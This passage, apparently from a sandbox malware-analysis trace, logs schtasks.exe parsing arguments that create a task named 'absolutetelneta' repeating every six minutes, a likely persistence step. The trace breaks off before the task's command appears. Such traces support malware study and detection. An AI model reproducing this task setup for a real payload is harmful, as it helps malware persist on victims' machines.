lstrlenW (lpString="delete") returned 6 [0144.098] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.098] lstrlenW (lpString="tn") returned 2 [0144.098] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.098] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|delete|") returned 8 [0144.098] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tn|") returned 4 [0144.098] lstrlenW (lpString="|delete|") returned 8 [0144.098] lstrlenW (lpString="|tn|") returned 4 [0144.098] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0144.098] SetLastError (dwErrCode=0x490) [0144.098] lstrlenW (lpString="query") returned 5 [0144.098] lstrlenW (lpString="query") returned 5 [0144.098] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.098] lstrlenW (lpString="tn") returned 2 [0144.098] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.099] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|query|") returned 7 [0144.099] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tn|") returned 4 [0144.099] lstrlenW (lpString="|query|") returned 7 [0144.099] lstrlenW (lpString="|tn|") returned 4 [0144.099] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0144.099] SetLastError (dwErrCode=0x490) [0144.099] lstrlenW (lpString="change") returned 6 [0144.099] lstrlenW (lpString="change") returned 6 [0144.099] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.099] lstrlenW (lpString="tn") returned 2 [0144.099] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.099] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|change|") returned 8 [0144.099] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tn|") returned 4 [0144.099] lstrlenW (lpString="|change|") returned 8 [0144.099] lstrlenW (lpString="|tn|") returned 4 [0144.099] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0144.099] SetLastError (dwErrCode=0x490) [0144.099] lstrlenW (lpString="run") returned 3 [0144.099] lstrlenW (lpString="run") returned 3 [0144.099] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.099] lstrlenW (lpString="tn") returned 2 [0144.099] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.099] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|run|") returned 5 [0144.099] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tn|") returned 4 [0144.100] lstrlenW (lpString="|run|") returned 5 [0144.100] lstrlenW (lpString="|tn|") returned 4 [0144.100] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0144.100] SetLastError (dwErrCode=0x490) [0144.100] lstrlenW (lpString="end") returned 3 [0144.100] lstrlenW (lpString="end") returned 3 [0144.100] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.100] lstrlenW (lpString="tn") returned 2 [0144.100] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.100] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|end|") returned 5 [0144.100] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tn|") returned 4 [0144.100] lstrlenW (lpString="|end|") returned 5 [0144.100] lstrlenW (lpString="|tn|") returned 4 [0144.100] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0144.100] SetLastError (dwErrCode=0x490) [0144.100] lstrlenW (lpString="showsid") returned 7 [0144.100] lstrlenW (lpString="showsid") returned 7 [0144.100] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.100] GetProcessHeap () returned 0x2b0000 [0144.100] HeapValidate (hHeap=0x2b0000, dwFlags=0x0, lpMem=0x2cc270) returned 1 [0144.100] GetProcessHeap () returned 0x2b0000 [0144.100] RtlReAllocateHeap (Heap=0x2b0000, Flags=0xc, Ptr=0x2cc270, Size=0x16) returned 0x2cc270 [0144.101] lstrlenW (lpString="tn") returned 2 [0144.101] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.101] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|showsid|") returned 9 [0144.101] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tn|") returned 4 [0144.101] lstrlenW (lpString="|showsid|") returned 9 [0144.101] lstrlenW (lpString="|tn|") returned 4 [0144.101] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0144.101] SetLastError (dwErrCode=0x490) [0144.101] SetLastError (dwErrCode=0x490) [0144.101] SetLastError (dwErrCode=0x0) [0144.101] lstrlenW (lpString="/tn") returned 3 [0144.101] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0144.101] SetLastError (dwErrCode=0x490) [0144.101] SetLastError (dwErrCode=0x0) [0144.101] lstrlenW (lpString="/tn") returned 3 [0144.101] GetProcessHeap () returned 0x2b0000 [0144.101] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cc210 [0144.101] GetProcessHeap () returned 0x2b0000 [0144.101] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc20 [0144.101] SetLastError (dwErrCode=0x0) [0144.101] SetLastError (dwErrCode=0x0) [0144.101] lstrlenW (lpString="absolutetelneta") returned 15 [0144.101] lstrlenW (lpString="-/") returned 2 [0144.101] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0144.101] SetLastError (dwErrCode=0x490) [0144.101] SetLastError (dwErrCode=0x490) [0144.101] SetLastError (dwErrCode=0x0) [0144.101] lstrlenW (lpString="absolutetelneta") returned 15 [0144.101] StrChrIW (lpStart="absolutetelneta", wMatch=0x3a) returned 0x0 [0144.101] SetLastError (dwErrCode=0x490) [0144.101] SetLastError (dwErrCode=0x0) [0144.102] lstrlenW (lpString="absolutetelneta") returned 15 [0144.102] GetProcessHeap () returned 0x2b0000 [0144.102] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc50 [0144.102] GetProcessHeap () returned 0x2b0000 [0144.102] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccc80 [0144.102] SetLastError (dwErrCode=0x0) [0144.102] SetLastError (dwErrCode=0x0) [0144.102] lstrlenW (lpString="/sc") returned 3 [0144.102] lstrlenW (lpString="-/") returned 2 [0144.102] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.102] lstrlenW (lpString="?") returned 1 [0144.102] lstrlenW (lpString="?") returned 1 [0144.102] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.102] lstrlenW (lpString="sc") returned 2 [0144.102] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.102] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|?|") returned 3 [0144.102] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|sc|") returned 4 [0144.102] lstrlenW (lpString="|?|") returned 3 [0144.102] lstrlenW (lpString="|sc|") returned 4 [0144.102] SetLastError (dwErrCode=0x490) [0144.102] lstrlenW (lpString="create") returned 6 [0144.102] lstrlenW (lpString="create") returned 6 [0144.102] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.102] lstrlenW (lpString="sc") returned 2 [0144.102] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.102] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|create|") returned 8 [0144.102] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|sc|") returned 4 [0144.103] lstrlenW (lpString="|create|") returned 8 [0144.103] lstrlenW (lpString="|sc|") returned 4 [0144.103] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0144.103] SetLastError (dwErrCode=0x490) [0144.103] lstrlenW (lpString="delete") returned 6 [0144.103] lstrlenW (lpString="delete") returned 6 [0144.103] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.103] lstrlenW (lpString="sc") returned 2 [0144.103] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.103] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|delete|") returned 8 [0144.103] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|sc|") returned 4 [0144.103] lstrlenW (lpString="|delete|") returned 8 [0144.103] lstrlenW (lpString="|sc|") returned 4 [0144.103] StrStrIW (lpFirst="|delete|", lpSrch="|sc|") returned 0x0 [0144.103] SetLastError (dwErrCode=0x490) [0144.103] lstrlenW (lpString="query") returned 5 [0144.103] lstrlenW (lpString="query") returned 5 [0144.103] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.103] lstrlenW (lpString="sc") returned 2 [0144.103] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.103] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|query|") returned 7 [0144.103] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|sc|") returned 4 [0144.103] lstrlenW (lpString="|query|") returned 7 [0144.103] lstrlenW (lpString="|sc|") returned 4 [0144.103] StrStrIW (lpFirst="|query|", lpSrch="|sc|") returned 0x0 [0144.103] SetLastError (dwErrCode=0x490) [0144.104] lstrlenW (lpString="change") returned 6 [0144.104] lstrlenW (lpString="change") returned 6 [0144.104] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.104] lstrlenW (lpString="sc") returned 2 [0144.104] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.104] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|change|") returned 8 [0144.104] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|sc|") returned 4 [0144.104] lstrlenW (lpString="|change|") returned 8 [0144.104] lstrlenW (lpString="|sc|") returned 4 [0144.104] StrStrIW (lpFirst="|change|", lpSrch="|sc|") returned 0x0 [0144.104] SetLastError (dwErrCode=0x490) [0144.104] lstrlenW (lpString="run") returned 3 [0144.104] lstrlenW (lpString="run") returned 3 [0144.104] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.104] lstrlenW (lpString="sc") returned 2 [0144.104] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.104] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|run|") returned 5 [0144.104] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|sc|") returned 4 [0144.104] lstrlenW (lpString="|run|") returned 5 [0144.104] lstrlenW (lpString="|sc|") returned 4 [0144.104] StrStrIW (lpFirst="|run|", lpSrch="|sc|") returned 0x0 [0144.104] SetLastError (dwErrCode=0x490) [0144.104] lstrlenW (lpString="end") returned 3 [0144.104] lstrlenW (lpString="end") returned 3 [0144.104] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.104] lstrlenW (lpString="sc") returned 2 [0144.105] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.105] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|end|") returned 5 [0144.105] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|sc|") returned 4 [0144.105] lstrlenW (lpString="|end|") returned 5 [0144.105] lstrlenW (lpString="|sc|") returned 4 [0144.105] StrStrIW (lpFirst="|end|", lpSrch="|sc|") returned 0x0 [0144.105] SetLastError (dwErrCode=0x490) [0144.105] lstrlenW (lpString="showsid") returned 7 [0144.105] lstrlenW (lpString="showsid") returned 7 [0144.109] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.109] lstrlenW (lpString="sc") returned 2 [0144.109] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.109] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|showsid|") returned 9 [0144.109] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|sc|") returned 4 [0144.109] lstrlenW (lpString="|showsid|") returned 9 [0144.109] lstrlenW (lpString="|sc|") returned 4 [0144.109] StrStrIW (lpFirst="|showsid|", lpSrch="|sc|") returned 0x0 [0144.109] SetLastError (dwErrCode=0x490) [0144.109] SetLastError (dwErrCode=0x490) [0144.109] SetLastError (dwErrCode=0x0) [0144.109] lstrlenW (lpString="/sc") returned 3 [0144.109] StrChrIW (lpStart="/sc", wMatch=0x3a) returned 0x0 [0144.109] SetLastError (dwErrCode=0x490) [0144.109] SetLastError (dwErrCode=0x0) [0144.109] lstrlenW (lpString="/sc") returned 3 [0144.109] GetProcessHeap () returned 0x2b0000 [0144.109] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cc2a0 [0144.109] GetProcessHeap () returned 0x2b0000 [0144.109] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2cccb0 [0144.110] SetLastError (dwErrCode=0x0) [0144.110] SetLastError (dwErrCode=0x0) [0144.110] lstrlenW (lpString="MINUTE") returned 6 [0144.110] lstrlenW (lpString="-/") returned 2 [0144.110] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0144.110] SetLastError (dwErrCode=0x490) [0144.110] SetLastError (dwErrCode=0x490) [0144.110] SetLastError (dwErrCode=0x0) [0144.110] lstrlenW (lpString="MINUTE") returned 6 [0144.110] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0144.110] SetLastError (dwErrCode=0x490) [0144.110] SetLastError (dwErrCode=0x0) [0144.110] lstrlenW (lpString="MINUTE") returned 6 [0144.110] GetProcessHeap () returned 0x2b0000 [0144.110] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0xe) returned 0x2cc2c0 [0144.110] GetProcessHeap () returned 0x2b0000 [0144.110] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccce0 [0144.110] SetLastError (dwErrCode=0x0) [0144.110] SetLastError (dwErrCode=0x0) [0144.110] lstrlenW (lpString="/mo") returned 3 [0144.110] lstrlenW (lpString="-/") returned 2 [0144.110] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.110] lstrlenW (lpString="?") returned 1 [0144.110] lstrlenW (lpString="?") returned 1 [0144.110] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.110] lstrlenW (lpString="mo") returned 2 [0144.110] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.110] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|?|") returned 3 [0144.110] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|mo|") returned 4 [0144.111] lstrlenW (lpString="|?|") returned 3 [0144.111] lstrlenW (lpString="|mo|") returned 4 [0144.111] SetLastError (dwErrCode=0x490) [0144.111] lstrlenW (lpString="create") returned 6 [0144.111] lstrlenW (lpString="create") returned 6 [0144.111] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.111] lstrlenW (lpString="mo") returned 2 [0144.111] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.111] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|create|") returned 8 [0144.111] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|mo|") returned 4 [0144.111] lstrlenW (lpString="|create|") returned 8 [0144.111] lstrlenW (lpString="|mo|") returned 4 [0144.111] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0144.111] SetLastError (dwErrCode=0x490) [0144.111] lstrlenW (lpString="delete") returned 6 [0144.111] lstrlenW (lpString="delete") returned 6 [0144.111] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.111] lstrlenW (lpString="mo") returned 2 [0144.111] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.111] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|delete|") returned 8 [0144.111] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|mo|") returned 4 [0144.111] lstrlenW (lpString="|delete|") returned 8 [0144.111] lstrlenW (lpString="|mo|") returned 4 [0144.111] StrStrIW (lpFirst="|delete|", lpSrch="|mo|") returned 0x0 [0144.111] SetLastError (dwErrCode=0x490) [0144.111] lstrlenW (lpString="query") returned 5 [0144.112] lstrlenW (lpString="query") returned 5 [0144.112] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.112] lstrlenW (lpString="mo") returned 2 [0144.112] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.112] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|query|") returned 7 [0144.112] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|mo|") returned 4 [0144.112] lstrlenW (lpString="|query|") returned 7 [0144.112] lstrlenW (lpString="|mo|") returned 4 [0144.112] StrStrIW (lpFirst="|query|", lpSrch="|mo|") returned 0x0 [0144.112] SetLastError (dwErrCode=0x490) [0144.112] lstrlenW (lpString="change") returned 6 [0144.112] lstrlenW (lpString="change") returned 6 [0144.112] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.112] lstrlenW (lpString="mo") returned 2 [0144.112] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.112] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|change|") returned 8 [0144.112] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|mo|") returned 4 [0144.112] lstrlenW (lpString="|change|") returned 8 [0144.112] lstrlenW (lpString="|mo|") returned 4 [0144.112] StrStrIW (lpFirst="|change|", lpSrch="|mo|") returned 0x0 [0144.112] SetLastError (dwErrCode=0x490) [0144.112] lstrlenW (lpString="run") returned 3 [0144.112] lstrlenW (lpString="run") returned 3 [0144.112] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.112] lstrlenW (lpString="mo") returned 2 [0144.112] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.113] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|run|") returned 5 [0144.113] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|mo|") returned 4 [0144.113] lstrlenW (lpString="|run|") returned 5 [0144.113] lstrlenW (lpString="|mo|") returned 4 [0144.113] StrStrIW (lpFirst="|run|", lpSrch="|mo|") returned 0x0 [0144.113] SetLastError (dwErrCode=0x490) [0144.113] lstrlenW (lpString="end") returned 3 [0144.113] lstrlenW (lpString="end") returned 3 [0144.113] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.113] lstrlenW (lpString="mo") returned 2 [0144.113] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.113] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x6, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|end|") returned 5 [0144.113] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|mo|") returned 4 [0144.113] lstrlenW (lpString="|end|") returned 5 [0144.113] lstrlenW (lpString="|mo|") returned 4 [0144.113] StrStrIW (lpFirst="|end|", lpSrch="|mo|") returned 0x0 [0144.113] SetLastError (dwErrCode=0x490) [0144.113] lstrlenW (lpString="showsid") returned 7 [0144.113] lstrlenW (lpString="showsid") returned 7 [0144.113] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.113] lstrlenW (lpString="mo") returned 2 [0144.113] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.113] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0xa, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|showsid|") returned 9 [0144.113] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|mo|") returned 4 [0144.113] lstrlenW (lpString="|showsid|") returned 9 [0144.114] lstrlenW (lpString="|mo|") returned 4 [0144.114] StrStrIW (lpFirst="|showsid|", lpSrch="|mo|") returned 0x0 [0144.114] SetLastError (dwErrCode=0x490) [0144.114] SetLastError (dwErrCode=0x490) [0144.114] SetLastError (dwErrCode=0x0) [0144.114] lstrlenW (lpString="/mo") returned 3 [0144.114] StrChrIW (lpStart="/mo", wMatch=0x3a) returned 0x0 [0144.114] SetLastError (dwErrCode=0x490) [0144.114] SetLastError (dwErrCode=0x0) [0144.114] lstrlenW (lpString="/mo") returned 3 [0144.114] GetProcessHeap () returned 0x2b0000 [0144.114] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x8) returned 0x2cc2e0 [0144.114] GetProcessHeap () returned 0x2b0000 [0144.114] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd10 [0144.114] SetLastError (dwErrCode=0x0) [0144.114] SetLastError (dwErrCode=0x0) [0144.114] lstrlenW (lpString="6") returned 1 [0144.114] SetLastError (dwErrCode=0x490) [0144.114] SetLastError (dwErrCode=0x0) [0144.114] lstrlenW (lpString="6") returned 1 [0144.114] StrChrIW (lpStart="6", wMatch=0x3a) returned 0x0 [0144.114] SetLastError (dwErrCode=0x490) [0144.114] SetLastError (dwErrCode=0x0) [0144.114] lstrlenW (lpString="6") returned 1 [0144.114] GetProcessHeap () returned 0x2b0000 [0144.114] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x4) returned 0x2cc300 [0144.114] GetProcessHeap () returned 0x2b0000 [0144.114] RtlAllocateHeap (HeapHandle=0x2b0000, Flags=0xc, Size=0x20) returned 0x2ccd40 [0144.114] SetLastError (dwErrCode=0x0) [0144.114] SetLastError (dwErrCode=0x0) [0144.114] lstrlenW (lpString="/tr") returned 3 [0144.115] lstrlenW (lpString="-/") returned 2 [0144.115] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0144.115] lstrlenW (lpString="?") returned 1 [0144.115] lstrlenW (lpString="?") returned 1 [0144.115] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.115] lstrlenW (lpString="tr") returned 2 [0144.115] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.115] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x4, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|?|") returned 3 [0144.115] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tr|") returned 4 [0144.115] lstrlenW (lpString="|?|") returned 3 [0144.115] lstrlenW (lpString="|tr|") returned 4 [0144.115] SetLastError (dwErrCode=0x490) [0144.115] lstrlenW (lpString="create") returned 6 [0144.115] lstrlenW (lpString="create") returned 6 [0144.115] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.115] lstrlenW (lpString="tr") returned 2 [0144.115] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.115] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|create|") returned 8 [0144.115] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tr|") returned 4 [0144.115] lstrlenW (lpString="|create|") returned 8 [0144.115] lstrlenW (lpString="|tr|") returned 4 [0144.115] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0144.115] SetLastError (dwErrCode=0x490) [0144.115] lstrlenW (lpString="delete") returned 6 [0144.115] lstrlenW (lpString="delete") returned 6 [0144.115] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.116] lstrlenW (lpString="tr") returned 2 [0144.116] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.116] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x9, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|delete|") returned 8 [0144.116] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tr|") returned 4 [0144.116] lstrlenW (lpString="|delete|") returned 8 [0144.116] lstrlenW (lpString="|tr|") returned 4 [0144.116] StrStrIW (lpFirst="|delete|", lpSrch="|tr|") returned 0x0 [0144.116] SetLastError (dwErrCode=0x490) [0144.116] lstrlenW (lpString="query") returned 5 [0144.116] lstrlenW (lpString="query") returned 5 [0144.116] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.116] lstrlenW (lpString="tr") returned 2 [0144.116] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.116] _vsnwprintf (in: _Buffer=0x2cc270, _BufferCount=0x8, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|query|") returned 7 [0144.116] _vsnwprintf (in: _Buffer=0x2cc250, _BufferCount=0x5, _Format="|%s|", _ArgList=0x21f698 | out: _Buffer="|tr|") returned 4 [0144.116] lstrlenW (lpString="|query|") returned 7 [0144.116] lstrlenW (lpString="|tr|") returned 4 [0144.116] StrStrIW (lpFirst="|query|", lpSrch="|tr|") returned 0x0 [0144.116] SetLastError (dwErrCode=0x490) [0144.116] lstrlenW (lpString="change") returned 6 [0144.116] lstrlenW (lpString="change") returned 6 [0144.116] _memicmp (_Buf1=0x2cc1f0, _Buf2=0xfff91b08, _Size=0x7) returned 0 [0144.116] lstrlenW (lpString="tr") returned 2 [0144.116] _memicmp (_Buf1=0x2cc230, _Buf2=0xfff91b08, 